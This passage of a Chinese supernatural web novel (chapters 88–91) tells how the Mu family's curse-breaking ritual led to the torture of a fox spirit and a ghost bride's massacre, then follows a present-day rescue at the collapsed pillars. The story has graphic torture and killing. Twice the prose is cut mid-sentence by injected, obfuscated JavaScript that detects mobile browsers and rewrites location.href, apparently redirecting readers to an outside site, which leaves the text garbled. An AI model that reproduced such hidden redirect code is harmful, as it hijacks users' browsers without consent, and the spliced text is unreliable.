只要一代一代“单传”下去，不要出现二子同上族谱，穆家就不会亡。 但到穆文泰这一辈，穆文淮这个明明该上暗族谱的弟弟，却阴差阳错娶了玄鹤府知府的女儿，知府的千金骄矜难伺候，且十分在意名位，穆家只能把穆文淮放上族谱。 至此，穆家已经形成了“一一二”，所以穆文泰和穆文淮必须多生几个孩子，来打破后面的“一”。但问题是，他们生不出来。 穆文泰生了长子穆绍柏后，大少奶奶迟迟怀不上第二子，穆文泰又纳了无数妾室，也都无所出。 二少奶奶更不用说了，穆文淮十五娶妻，二少奶奶过门许多年，肚子是没有一点动静，穆家急了。 于是穆文淮在外花天酒地，根本没有人管，哪怕他不顾脸面，偷偷与大寨女先生姬氏亲近，穆家完全睁一只眼闭一只眼，甚至暗中推波助澜。 过了不久姬氏果然在穆家的手段下怀了孩子，但此事被二少奶奶——知府千金知道了，穆文淮为保姬氏性命，只能狠心不再见姬氏。家中族老与穆文泰再斡旋一番，二少奶奶便没有动杀心。 然而姬氏来信，说生的是个女儿。 二少奶奶是开心了，穆家家主却麻了。 万般思虑过后，穆文泰只能拆开了父辈传承下的密函，照着密函底部记载的最后的办法，开始筹备“四煞千年柱”。 88. 第 88 章 四煞千年柱为阴宅风水局，煞气之厉，可突破一切天道循环。若将之加诸在穆家阳宅，让煞气入地，冲破明堂风水，就能解了谶言。 这就是穆家执着于做一个“致使家破人亡”的风水局的原因。 但“四煞”也不是那么好凑齐的，他们笼络无数奇人异士，甚至重金请出西南边陲苗寨的蛊王，花费了数年时间，才找到了一魔一怪，妖也在掌握之中——刚孵出仙胎的天狐。 但厉鬼，穆家没有找到合适的。 要煞气与他们寻到的魔和怪相当，至少也要是个红衣厉鬼。 但那些年地处西南的玄鹤府还算安逸，这样的厉鬼不多见。 就在计划处于尴尬境地时，穆文泰的夫人居然产下了小儿子穆绍棠！ 穆家大喜，赶紧给穆绍棠取了大名上了族谱，又怕养不活，简直是金尊玉贵当宝贝一般呵护着。 结果二少奶奶不高兴了。因为她一个儿子都没生，穆文泰却有两个儿子都上了族谱。 一怒之下，二少奶奶提出和离。 知府女儿一怒，穆家开罪不起。 恰在此时，穆文淮突然暴毙。他死时还不到二十，若二少奶奶悔婚与他和离，穆文淮就只能从族谱上被撤下来了！ 偏偏这时候明族谱上添了个穆绍棠！可不又是一个“一一二一”！ 原本就紧迫的局面变得更令人心急如焚，穆家受够了命运的捉弄，老少三代拍板决定：四煞千年柱必须得做！没有厉鬼，我们自己造一个厉鬼！ 于是穆文泰盯上了弟弟的外室和女儿。 有什么比知根知底、与自家明面上没有关系，却简单好控制的母女，更适合做这个局？ 派人绑走姬氏，给她换上红衣，穆文泰亲手将她按入水中，让她溺水而亡。 可姬氏却并未变为厉鬼。她仿佛从来都没有恨过穆家——也没有爱过穆文淮。 那么，还有一个人——姬氏的女儿：姬悬月。 这个姑娘如穆文泰所愿，嫁入了穆家，两家互换庚帖，广发请柬，穆文泰却因穆绍棠无意中说漏了嘴，发现了他们的秘密，“姬悬月”竟然是个男的！ ……这样一来，只要把姬悬月弄回来，上族谱，诅咒就解开了！ 但欣喜过后，穆文泰却再次陷入了矛盾。 诅咒的存在，永远是悬在穆家头顶的一把剑。这一代的诅咒解决了，那下一代呢？ 他父亲和上一辈的族老都曾说过，四煞千年柱必须得做。 索性妖、魔、怪都已凑齐，此时姬悬月已经上钩，天时地利人和，若不献祭姬悬月，穆家便不能真正世世代代，永远流传下去！ 重点是，姬悬月是男人！他和穆绍棠决不能真的拜堂成亲！ 所以穆文泰几经思索，再三犹豫，最后决定用姬悬月的命，来换一个破除诅咒的可能。 于是，大婚之日，身穿血红嫁衣的新娘被穆文泰刺死，钉入九龙千年柱底下的绝佳的养尸地。 下一步，就是制作一个“妖”。 听到这里时，姬悬月已经忍不住，想要直接捏死穆文泰了。 穆文泰一边躲一边嚎哭，林疏便将他换了只手捏着，反去拍了拍姬悬月的肩膀。 后面的事，不用说，他们也都记得了。 “你最好不要再动手，”林疏道，“你的血孽马上就要引来天罚了，这次我没办法替你扛。” 姬悬月一僵，手收了回来。 他们都想起了一百多年前的过往。 为了逼迫天狐动手伤人，穆家的人将白狐林疏吊在九龙千年柱上，然后广发新闻，在几天之内，将白狐作恶的消息传遍了玄鹤府。 整个玄鹤府几乎所有的百姓，都到九龙千年柱来围观狐妖。 穆文泰请了道士来除妖，道士告诉所有老百姓们，要除狐妖，需借天下人之手，动手者，可获功德。 他们诱骗这些百姓，用用各种方法去虐杀白狐，只为逼白狐出手。 只要他用灵力反抗，用灵力伤人，哪怕只有一丝一毫，他也会堕落为妖。 林疏却始终怀揣着对世间的爱意——对姬悬月的爱意。 他没有用灵力反抗过一分，他知道自己绝不能堕落为妖。 他不知道姬悬月死了，只知道穆绍棠娶的妻子死了，他不知道穆绍棠娶的是谁。 他很怕自己会死，他不想死，他还想跟姬悬月穿漂亮的喜服成亲。 天狐一生只爱一个人，若姬悬月老了、死了，他还要去寻找他的转世，与他生生世世。 妖不能与人相爱，他绝不能堕落为妖。 最后穆文泰办法用尽，无可奈何。 林疏没有反抗，林疏只剩最后一口气。 穆文泰不敢真的弄死林疏，他思来想去，让一个信得过的助手，假扮成穆绍棠。 假的穆绍棠来到这里，看见遍体鳞伤的小狐狸尖叫一声，哭着上来抱住他。 小狐狸看见自己的主人来了，眼中终于流露出希冀。 但这假扮的穆绍棠，却当着所有人的面，一块一块剥下了小狐狸的皮。 穆文泰本意是想让林疏觉得，哪怕是被天狐视为主人的、如此信任的穆绍棠，也会对非我族类的天狐下此毒手。 可他无论如何也没想到，林疏一双慧眼，早已认出动手的不是穆绍棠。 而一旁的九龙千年柱上，吊着林疏真正的爱人姬悬月。 姬悬月睚眦欲裂地看着那些人折磨了林疏三天三夜，将他的小狐狸折磨成一团血肉模糊的肉块。 最后，这些人，还当着他的面，将小狐狸剥皮抽筋。 从来没有什么后天血孽。 从来没有可以赎清的后天血孽。 杀了穆家整整六十三口人、杀了玄鹤府一千户的， 根本就是姬悬月本人。 他疯了。 在看到林疏被折磨、被剥皮后，他就疯了。 那一晚，整个穆家，除了穆绍棠之外所有人——上到老太太，下到喂马的家丁，全部身首异处；而玄鹤府一千二百户，除了住在河边贫民区的、没有参与过虐杀小狐狸的二百户，全部，死于非命。 死于厉鬼姬悬月之手。 这都是当年的林疏亲眼看见的。 他就躺在九龙千年柱旁边，他亲眼看着红衣的鬼新娘一身血腥戾气，从石柱上挣脱下来，以厉鬼之身血洗九龙千年柱。 最后孽力上涌，成为数百年来最强大的血孽，顶着天上一道一道的天罚，将所有伤害过他的人，一一撕碎。 到头来，林疏浑身是血，姬悬月也浑身是血。 九龙千年柱上也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883437|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是血，玄鹤府到处都是血。 在这铺天盖地的红色里，天边的月亮都是昏黄的血月。 而姬悬月抱起几乎没了气息的小狐狸，温柔地告诉他，这是他们的喜宴。 这是喜庆的新婚之夜，这是共约白头的喜宴。 姬悬月，与小狐狸，永结同心。 他们没有来生。 …… 而如今，塌陷的九龙千年柱旁，林疏躲避似的偏开头，不去看姬悬月的眼睛。 当年的约定，血月下浸透鲜血的婚宴。 不过是两个绝望的人最后相依为命的谎言。 可如今，四煞千年柱前，林疏想起了这些年所有的事，几百年的记忆只告诉他一个道理。 那就是，姬悬月必定死于天罚。 他们之间没有来生。 无论是一百多年前的玄鹤府，还是2023年8月的鹤城。 他们没有来生。 姬悬月却好像没有感受到林疏的绝望，他甚至轻轻笑了一下。 他温柔地摸了摸林疏的头。 林疏下意识用狐耳去蹭姬悬月的手，姬悬月的手心冰凉。 姬悬月的手心曾经温暖过。 两人却都对当年避而不谈，没有人再去提起那些温暖。 林疏继续审问手中被拿捏着的穆文泰：“你死前的事说完了，该说说你死之后了吧？” 穆文泰苦着脸道：“我本来死得还算安宁，虽然有些放心不下后辈，但死都死了，如何还会管活人的事情？但……数年前，松儿突然召唤我回来……” “穆迎松是用什么办法召唤的你？”林疏冷冷道。 穆文泰眼珠转了转，想撒谎，而林疏毫不犹豫就照着他柔弱的脖子掐了下去。 “我说我说我说！”穆文泰只觉被林疏捏着的部位如被火燎一般烧着疼，不禁涕泪恒流，“他……他一直跟我当年聘来的蛊王有联络……” 就是被连累得举寨搬迁的乌多苗寨——姜家蛊王。 姜家几乎也都在国外，没什么人懂蛊术了，姜家的蛊王传人就联络上了国内一位蛊王，重新学了蛊术，就是他们将穆文泰从阴间拉了回来。 穆文泰一边哭一边道：“乌多寨的那个蛊王小姑娘，蛊术大多不会，但她会很多阵法，这个阵就是她做的，说可以……让你堕落成妖……” 林疏两指捏紧了穆文泰的脖子：“什么乌多寨没听过，你再糊弄我，我教你魂飞魄散。” 穆文泰感觉到澎湃的天狐之火即将把自己烧成人干，哭着道：“我真的我说的都是实话你饶了我……” 林疏知道他大概不敢撒谎了，遂恶狠狠道：“既然你们是想设计我当妖，那林聆在哪儿？” “在在在松儿手里……”穆文泰的血泪和鼻涕一起流了出来，“我真的不知道他在哪儿……他说在四煞千年柱的，我说的都是真的……” “？”林疏的耐心已经耗尽了。 “别杀我……在地底……”穆文泰终于吐口。 但他只留下这六个字。 他被没了耐心的林疏轻描淡写地捏散了，那一瞬间被狐火完全炼化的痛苦，将永远定格在他记忆的最后一秒。 筹谋百年，本以为自己将是终极大boss的穆文泰，就这样消散在了天狐的手指尖儿。 89. 第 89 章 林疏甚至都没有分出半秒钟的时间来感叹他的魂飞魄散。 至此，穆文泰彻底魂飞魄散，他也不再有来生了。 林疏和姬悬月脚下是破开的两层大阵，但林疏并未看到地底下有什么四煞千年柱。他蹲坐在地上摸了摸土层，摸着摸着，指尖被土里的碎玻璃划破了一点，他马上缩回手，嘶了一声。 姬悬月瞧见这一幕，顿时什么前世今生都忘了，想也不想就跪坐下来，抓着林疏受伤的手指，小心翼翼将手掌覆上那细微的伤口。 冰凉的孽力从他掌心喷出，落在流血的伤口上，明明是用于破坏的力量，此刻却如成了镇痛止血的复原之力，缓缓流淌在林疏指尖。 几息之间，林疏伤口里的玻璃碎片和沙土被剔除、细菌被杀死，红肿的细胞组织被血孽以冰冷的武力镇压，随着天狐惊人的自愈能力，伤口跳过发炎的过程……直接愈合了。 林疏静静看着姬悬月给自己治伤，片刻后轻笑了一声。 “用血孽给人疗伤，你也是千百年来第一个。”他低声道。 姬悬月不语。 一百多年前，他血洗完鹤城，就是用杀了几百上千人的孽力当“净化”用，小心翼翼祛除了林疏体内外的邪气入侵，给林疏保住了最后一口气。 如果不是因为来的道士是唐疏，他说不定可以用自己的力量，来小心呵护着林疏痊愈、成仙。 当然，那些事都过去太久了。 林疏伤口好了之后，姬悬月就起来了，拍拍身上的土，不再看他。 林疏微不可闻地叹了一声，埋头继续在地上寻找阵眼。 不多时，林疏找到了藏在石柱根部的阵眼，他垂着眸，朝姬悬月伸出手，姬悬月盯着他的手掌看了一会儿，还是伸手与他相握了。 林疏低头去解阵，片刻之后，罡风四起。 阵眼在林疏的灵力催动之下旋转、升高，眼看就要消失，林疏却突然生出一种不祥的预感。 他马上放弃解阵，拉着姬悬月急速后退！ 但那阵眼仿佛就是专门给林疏设置的陷阱一般，卷成了一个吞肉噬骨的涡轮！四面的罡风都在朝着那个阵眼卷入。 林疏已经将灵力提到极致，可他身体里只有一百年的记忆，没有一百年的修为！ 眼看两人要被卷进阵眼，电光石火之间，姬悬月甩出一道孽力，紧紧捆上身边一根石柱！ 林疏马上回头看他，可事态紧急，他只能任由姬悬月再次动用孽力。 阵眼很快将周围的灵气煞气都卷了进去，驳杂的灵气狂暴地顶开了大阵。 一声嗡鸣，大阵闪着金光消失，地底冲天的煞气在涡轮消失后迅速反弹，狂喷而出！将石柱上的林疏和姬悬月冲击得不住向上飘。 好容易稳住了身形，他们望着底下的场景，脸上顿时写满了震惊！ 林聆被铁链穿透手掌心、麻绳捆着脖子，吊在一根柱子上！ 而且……不止林聆！ 左一石柱上吊着林聆，左二石柱上……吊着红裙的玛丽亚！右二石柱上是一个林疏不认识的中年妇女，二最可怖的是右一石柱上……绑着一个穿着碧绿旗袍的无脸人！ 难道，妖魔鬼怪凑齐了吗？那个妇女是厉鬼吗？ 旗袍无脸人又是怎么回事？林疏定定看着她旗袍上翩飞的蝴蝶，意识到这竟然是陈璧兰的那条旗袍！ 可柱子上的林聆并不是妖，林聆是天狐啊！ 林疏却已经不敢贸然前去，因为没有了地表大阵的封印，地底的煞气一股一股冲上来，如罡刀一般锋利，这四煞千年柱分明已成，煞气正在漫无目的地四处乱窜！ 怎么会成阵？难道他们成功把林聆妖化了？ 林疏咬牙，他知道自己恐怕是晚了一步，该如何才能破开四煞千年柱的风水局，把林聆救出来？ ……但逐渐的，他观察了一会儿，发现了不对。 为何……煞气都在一致冲上方喷涌？ 四煞风水局，是靠煞气冲击土地深处，改的是地底的死气，煞气这样向上喷涌，对地气起不到一点作用。 林疏马上拉住姬悬月：“此风水局煞气冲天，而并非入地，你觉得是什么缘故？” 姬悬月往下仔细瞧了瞧，迟疑道：“我记得刚才，地面上的风水局之布局，是按照从右到左，分别是妖、魔、鬼、怪的顺序……” 林聆往下瞥了一眼，马上发现了问题—— 地底下的石柱上，顺序却正好相反！是从左到右！ 难道这就是煞气冲天而起的原因吗？ 煞气不入地，而冲天，便不能起到截断地气的作用，如果地面上的风水局是穆文泰布置来用作改变穆家“谶言”的，那地底下的呢？ 穆文泰好像根本不知道其中细节，他只知道穆迎松把林聆带走了，却不知道带去了哪里。 所以，幕后的人，究竟是谁？是已经死了的穆迎松？ 是被夺舍后已经不知道滚去哪里的穆迎秋？ 那穆文泰是什么？是对方抛出来的一枚弃子吗？ 如此煞气冲天，倒像是要祸乱苍生呢！穆家人尽是凡人，凡人也想祸乱苍生吗？ 林疏仔细看了看那煞气喷涌的程度，见其大有毁灭一城的气势，不禁喃喃道：“这风水局并非针对地气，而是针对鹤城！如果煞气裹着死气持续喷涌，鹤城……恐怕会出大乱子。” 一边说着，他烦躁地挠头：“我们必须赶紧救走林聆，破掉风水局！” 姬悬月却一直沉默着。 他的眼中，倒映着坑底齐全的“妖魔鬼怪”，眼白中，已有无边血色弥漫上来。 血，到处都是血。 四煞齐全——姬悬月曾经也是这样，被锁链穿过手背，倒吊在一根石柱上。他眼中，也是自己深爱的人，被这样捆在一根石柱上。 林疏尚未察觉到姬悬月的变化，他只当姬悬月盯着底下的风水局，是和他一样在想如何破局。 当然，他们不能贸然下去，只能在半空中先仔细观察底下的情形。 而林疏脑中不停转动着一个念头：煞气这么利，四煞风水局眼看是做成了的，这些家伙，是如何让林聆堕为“妖”的呢？ 用当年曾经对林疏使用过的方法吗？ 可时间已经走到这个时代，经过灵调局一代又一代的努力，鹤城本地人对于妖魔鬼怪的接受度都提高了许多，也知道这些玄之又玄的东西，对人民生活的影响其实微乎其微。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883438|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 再发动一次那样的“舆论战”，让老百姓们把林聆当做妖怪来伤害，他们不会同意的。始作俑者，也未必能讨到好处。 就这样一边思索着，林疏心中正盘算破局之法，突然发觉姬悬月的状态不对。 林疏瞧着姬悬月眸中血色又要失控，赶紧拉着他落到一旁的平地上，去点姬悬月眉心。 姬悬月却猛然攥住林疏的手腕，不让他驱散自己的怨气。林疏心中叫苦不迭，只能再次亲上去。 片刻后，姬悬月清醒了。 林疏啧了一声，对姬悬月道：“你再添乱，我把你也收进袖子里。” “……”姬悬月抿着嘴不答，耳根倒是悄悄红了。 林疏却突然愣住，他头顶灯泡叮地一亮，马上去扒拉自己道袍的袖子。 袖子里，被卷成两张“年画娃娃”的苏珊娜和温丽雅正“自抱自泣”，林疏赶紧捏出苏珊娜来，对她吹了口气，帮她重新鼓起来，然后指着四煞千年柱的坑底道：“你看看，那是你认识的玛丽亚吗？” 苏珊娜从2D模型变回3D模型，刚呲着牙伸着爪子要找林疏的事儿，听见玛丽亚三个字，愣了一下，马上扭头去看坑底。 “玛丽亚！”她尖叫着，飞蛾扑火一般就跳了下去。 林疏拉着姬悬月站在坑边围观。 或许苏珊娜能救走玛丽亚，那四煞风水局四缺一，问题自然迎刃而解。 苏珊娜在煞气冲击下好不容易落到坑底，身上滴血的红衣都快被罡风削成烂布条了，而落入坑底后，她周身旋起一片血色的水龙卷，将她和玛丽亚包裹在了中间。 林疏看着她们在血水龙卷里的剪影，正是在毁灭时间线里，苏珊娜与玛丽亚额头相抵的动作。 在这条时间线里，她们总算也能相遇了。 即使过了百年，她们之间似乎都没有产生什么隔阂。 ……不，不对。 林疏蹙眉，他察觉到了异常。 在毁灭时间线里，苏珊娜与玛丽亚额头相抵不过数息，她就将玛丽亚收进自己的裙摆，然后扬长而去。 怎么剪影里……吸收对方的，成了玛丽亚？ 不，不，这不对，林疏突然有了一种非常奇怪的感觉。 他马上展开袖里乾坤，就发现袖子里的温丽雅卷一动未动，他记得刚才打开袖子的时候，这个温丽雅卷还在哭！ 林疏立刻拿出温丽雅卷，展开，吹了口气，就发现！温丽雅没有变回原形！ 这条时间线里的温丽雅的确也被玛丽亚吞噬过，但林疏把更多的怀疑放在了温闵宣身上，他刚才还以为，是温闵宣把温丽雅从玛丽亚魂体里弄出来了。 但现在想来……底下的玛丽亚，真的是玛丽亚吗？ 苏珊娜周围的血水龙卷逐渐消失了，柱子上只剩下玛丽亚一个。 她抬头，用诡异的眼神看着上面的林疏和姬悬月。 林疏从她眼中看出了一种非常得意的神情，仿佛……她算计了谁，并算计成功了。 玛丽亚体内绝对不是玛丽亚，而是温丽雅。 温丽雅被绑在柱子上献祭，却笑得那么开心。 谁承诺了她什么？她笑的又是什么？她算计了谁？ 90. 第 90 章 林疏的心中顿时冰凉一片。 但他转而心想，瞪我干什么？你吸了苏珊娜的煞气，四煞之间实力不平衡，风水局理应被破，再过一会儿，看你还笑不笑得出来。 此刻已经过去了五六个小时，距离顾煜城恢复过来、赶来救人，还有近四个小时。 林疏也不太想靠师父，因为顾煜城伤得太重。 如果可以，他希望能在四小时之内带着完好无损的林聆回去，再想办法劝顾煜城好好养伤。 等四煞风水局因煞气不平而从内部被破开，他就有办法救走林聆！ 时间一点一滴过去，风水局中煞气依然在源源不断地喷薄，转眼半个小时过去了，煞气没有一点要停的意思。 林疏越来越着急，他已经失去了耐心。 他可以等，可底下的林聆等不了！这样多的煞气冲天而起，鹤城也等不了！ 就在这时，他突然听见底下的玛丽亚开始大声笑。 那笑声太过放肆，笑得林疏心底发慌。 如果玛丽亚的笑也是对方计划中的一环，那么林疏得承认自己被这笑影响了。 他的耐心已经完全告罄。 那么眼下，唯有一个办法了。 林疏叹了口气，轻轻松开了姬悬月的手。 姬悬月默默看着他。 林疏抬头，与姬悬月对视。这是两人均恢复记忆以来，林疏第一次这样认真地看着姬悬月的脸。 “悬月，”他道，“我等下用天狐的灵力暂停这片时空。你进去把林聆捞上来，只捞林聆。” 姬悬月点点头：“好。” 林疏转头认真地与姬悬月对视， 而姬悬月就像每天他睁开眼睛看到的一样，眼神温柔、清澈。 明知是局，只要有他在身边，就无所畏惧。 林疏轻轻推了他一把，周身的灵力一点点燃成狐火，暗绿色的火焰漫延开来，林疏在这样的狐火之中轻轻浮空，他的长发从及腰变得更长，一直到垂落下来，落在他突兀出现的狐尾上。 一根，两根，五根。 六根，八根，九根。 由于灵力不继，他的狐尾只是半透明，但周身的狐火已经澎湃到连身负血孽的姬悬月都无力抵抗。 随着林疏的头发长到接近三米长，他也已经飘到了九根石柱的正中间。姬悬月默默感受着周围的“时间”，在这片石柱周围的时空彻底停滞的那一瞬间，他毫不犹豫，跳进了石柱根部的深坑！ ——只要是从外面进入停滞的时空，就不会被时间所影响。 就如同前往被毁灭的时间线，那个世界的时间已经停在19点23分，他们去了之后，却不会被“暂停”，而是可以自由活动，只是时间不会再动而已。 这就是天狐掌管的时间法则。 坑底，林聆被牢牢绑着，但姬悬月没有用笨办法去解，他直接催动孽力，以手成爪，斩断了捆缚着林聆的咒术布条和锁链，将这位往日里不可一世的灵协办主人扛在肩膀上，转身跳跃出坑！ 林疏的灵力也只能坚持这么久了，他灵力已经耗尽，“时停”效果消失，姬悬月恰好踏上最后一块砖石！ 在灵力枯竭的时刻，林疏大口喘着气抽身后退，而几乎是瞬间之后，坑底浓重的煞气如千万把带刃钢刀，齐刷刷朝上头呼啸而来！ 姬悬月扛着林聆往前一扑，他穿的鞋还是林疏买给他的球鞋，千钧一发之际，那鞋底已经被煞气削得只剩薄薄一层！ 两人狼狈地在地上打了个滚，却还是免不了被煞气刮得遍体鳞伤——林疏总算知道顾煜城为什么被搞成那副样子。 但是……为什么会有这么锋利的煞气？ 林聆到底是怎么堕妖的？ 明明坑里的都不是什么大煞，妖是林聆，魔是只杀了两位数的玛丽亚，鬼是个不认识的大婶，怪……姑且当做是那旗袍成了精，可旗袍什么时候作的恶？也没听陈璧兰说过啊！ 林疏抱着疑惑甩了甩被刮得满身破口的道袍，捂着胸口挪动到姬悬月和林聆身边，低头去看林聆。 这一看不要紧，他大惊失色。 林聆被捆在柱子上太久，衣服也被罡风削得破破烂烂，这一下脊背上的皮肤也露出来。 林疏就发现，林聆的脊背上，居然有千年大妖才有的红色妖纹！ 怪不得四煞风水局已成……林聆居然是大妖？ 林聆为什么会是大妖！！！ 而且从这命纹的延伸程度来看……林聆堕落成妖至少也有几十年了！ 林疏傻了眼，他回忆了一番，发现林聆好像确实没有正面说过“我不是妖”。 可是……天狐堕落成妖，是要受天罚的呀，林聆为何还活着？ 林疏的心口怦怦跳，他已经控制不住地在想了，如果林聆有逃过天罚的办法，那姬悬月…… 然而就在林疏想到这件事的这一秒， 姬悬月突然转身，投入了深坑。 林疏：“？” 他马上想追上去，可林聆这只千年大妖在局中待了那么久，四煞千年柱已吸饱了煞气，此刻煞气仍然在源源不断涌出，林疏只伸出去一只脚，就被煞气冲得皮开肉绽。 林聆的离开根本不影响四煞千年柱输出！ 那姬悬月跳进去干什么！！！ 林疏简直要气哭了，他大声喊：“你找死吗！” 姬悬月已经踩着煞气，从坑底慢慢浮了上来。先映入林疏眼帘的，是鬼新娘乌黑的发顶—— 姬悬月银灰色的短发和身上普通的T恤长裤都消失了，他一瞬间，变回了那个乌黑长发、鲜红嫁衣的鬼新娘。 鬼新娘踩在罡风之上，居高临下，望着林疏。 两人一高一低，久久对望。 林疏突然什么也不想说了，什么也不想问了。 他和姬悬月好像还没特意培养过默契，但彼此心中想的什么，对方其实都是知道的。 四煞千年柱庞大的煞气，鹤城受不住，鹤城的百姓也受不住。 若再放任四煞千年柱继续喷涌煞气，鹤城的浮鬼游怪只会被滋养得成了气候，而百姓心中的怨恨被它影响，也会滋生罪恶。 鹤城会变成一片死地。 玛丽亚在地底那样放肆大笑，就是因为，林疏无法看这这风水局继续作乱，他势必要出手阻拦。 只要他出手，就落入了设局人的陷阱。 ——而他们两个都知道，设局人是谁。 眼下能与这些煞气对抗的，除了世上最后的天狐林疏，就唯有姬悬月的血孽了。 而姬悬月是不会坐着看林疏被人算计的。 反正，他也终究要为自己 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煞气与孽力对冲，九龙千年柱终于支撑不住，倒了下去。 那些亘古的石柱一根一根坍塌、在血孽之力的碾压下化为齑粉，林疏的耳朵被震耳欲聋的声音轰得几乎失去了听力…… 但他没有走。 他站在原处，固执地站着，他在等姬悬月。 等一切结束后，姬悬月来跟他告别。 天色愈发阴暗了，林疏不用抬头也知道，动用了这样庞大的血孽之力，姬悬月已经引来了天罚。 乌黑的天罚劫云在空中汇聚，逐渐压低，在九龙千年柱原址的上空，盘旋成一枚独眼。 顷刻间，第一道天罚之雷已经落了下来。 那道天雷从天而降，林疏瞳孔微缩，他条件反射一般去摸腰间的葫芦，摸了个空，就意识到……那葫芦久久不用，已经被他收进了袖里乾坤。 明明在那些年里，葫芦是姬悬月最舒适的居所。 林疏的手缓缓放下了。 漫长的时光里，他们都变了模样。 他就那么看着那道水缸一样粗的雷电，狰狞地落在姬悬月身上。 姬悬月神色却淡漠，那道雷劫劈上血孽之牢的外层，却丝毫没有给里头的姬悬月造成半点伤害。 天罚一道一道落下来，姬悬月周身的血孽渐弱，他却还是不躲不闪，只是调用血孽，全力与地底的煞气相击绞杀。 林疏心想，等到煞气消散、血孽被劈光，姬悬月大概就会来与他道别了。 他慢慢瘫坐在原地，仿佛是因为想起那葫芦的缘故，他突然回想起了那一百年。 ——怎么可能只有年少时的那几年呢？他们白头到老的约定，其实已经实现过了。 只不过他们太贪心，不愿只有一生一世，还想要生生世世。 其实一生一世也就够了。 其实有了完整的记忆之后，哪怕与姬悬月告别，他的余生也不算寂寞。 在一百多年前——林疏奄奄一息的时候，姬悬月屠遍玄鹤府，自然而然引来了道人。 第一个来到九龙千年柱的道人，是“涅槃道”的唐疏，唐道长来此之后，却并未对姬悬月动手，只是将他封印在了千年柱底，然后捡走了奄奄一息的小狐狸……和小狐狸的皮。 91. 第 91 章 小狐狸被交给了林聆，狐狸皮由林聆和顾煜城艰难缝了回去，而林疏能跑能跳后第一件事，就是去九龙千年柱挖自己的老攻。 但小狐狸挖不开唐疏扣押血孽的结界，姬悬月在地底，知道小狐狸没死，怨气顷刻散了一半，他与林疏隔着封印相见，让林疏好好养伤，好好学本领，将来有了大能耐，再来救他。 他听小狐狸说了救命恩人的事，便建议小狐狸起名叫“林疏”，跟天狐姓“林”，跟恩人名“疏”。 若干年后，小狐狸果真学成了。 他把封印姬悬月的法阵破开，偷偷带着姬悬月跑了。 他们回到了姬悬月生活过的村子里，姬悬月为林疏采摘了那个葫芦，而林疏刻画阵法，将葫芦做成了一个能够隔绝孽力的法器。 就这样，林疏拿着葫芦，葫芦里装着姬悬月，两人并肩，在这世上行走过近三十年的时光。 随着并肩而行，林疏的道法日益精湛，他还学会了女娲大神的造人法，用泥给姬悬月捏了个身子，那段时间，姬悬月每天都能有一段时间变成人陪着他。 这就是……先前林疏与姬悬月回到民国时，姬悬月身体如常人一般有温度、会受伤的原因。 在那些年份中，姬悬月的确是有肉身的。 他们就那么走啊走啊，在祖国的山河中相携。 直到那场战争打响。 两人恰好行至鹛城，凡人间的战争本应与他们无关，出世之人不该沾染红尘。 但侵略者惨无人道令人发指的行径，引起了林疏和姬悬月心中难以熄灭的怒火。 神兽与厉鬼，不能擅自更改凡人命数，可是林疏忍不住，姬悬月也忍不住。 而他们最大的区别就是，林疏救人，是为功德。 姬悬月救人，非但没有功德，他伤害的一方却会变成孽力，融入他的灵魂。 这一点点孽力，累积进血孽之中，就再次引动了天罚。 林疏将姬悬月关进葫芦里，独自站在山巅，指着天空痛斥天道不公，并代姬悬月受了七十二道天雷。 他被劈散了全身的功德，也被劈毁了仙根和灵识，几乎要魂飞魄散。 一道道天雷落下，任姬悬月在葫芦中如何嘶吼，林疏就是不肯放他出来。 最后，天罚已散，姬悬月新造的孽力，尽用林疏的功德抵了。而林疏已经被劈得维持不了人形，气若游丝，他从葫芦里放出姬悬月，让姬悬月给他疗伤。 血孽之力只懂破坏，至多能止住邪气、疏通经脉，又如何能疗天罚造成的重伤？姬悬月只能看着林疏一点点衰弱下去。 林疏叫他好好做人，继续赎罪，有朝一日便可去投胎。 姬悬月红着眼睛说好。 林疏才放心地闭上了眼睛。 然后被师父师娘捡回了家。 一梦，二十四年。 无论是那三十年，还是这二十四年，这些岁月历历在目，有笑有泪，足够林疏藏在心里，以此度过漫漫余生。 他望着半空中姬悬月心无旁骛同时对抗天雷和煞气的身影，轻轻叹了一声。 这是他们注定的结局。 事到如今，这结局无法更改，倒也没什么不能接受的。 不过是再一次告别，他们都已习惯了。 不同的是，这一次是永别。 林疏想尽可能用自己最好的状态，来跟姬悬月告别。 想到这，林疏盘腿坐好，开始引动天地灵气，为自己疗伤。 变故却在此时突生！ 林疏闭着眼睛，并未看分明， 也就不知道……穆迎秋是从哪里冒出来的！ 穆迎秋本应在林疏吹奏出蕴含着灵力的笛声时，就被冲击得昏死过去，又在九龙千年柱反复跌宕的冲击中不知所踪，此时，却猩红着一双眼睛，出现在了林疏身后！ 林疏完全没有防备，他全身的灵力都在刚才“时停”时用光了，此刻毫无反击之力，就被穆迎秋铁钳似的双手掐住了肩胛琵琶骨！ 大股不知从何而来的煞气，顺着穆迎秋的双手涌进林疏身体，激得他一口鲜血狂喷出来，而后，全身灵力便都停止了运转！ 林疏瘫软在地，眼睁睁看着穆迎秋踩着虚空，一步一步……走上了高高的云端！ 姬悬月正全力与四煞风水局的煞气相抗，他周身的孽力被天罚一道一道打散，坑里的煞气也是靠着一身孽力才逐步削弱，姬悬月已经看到了自己被天罚与煞气上下夹击的结局，但这就是他想要的结局。 可他没想到，螳螂捕蝉，黄雀在后。 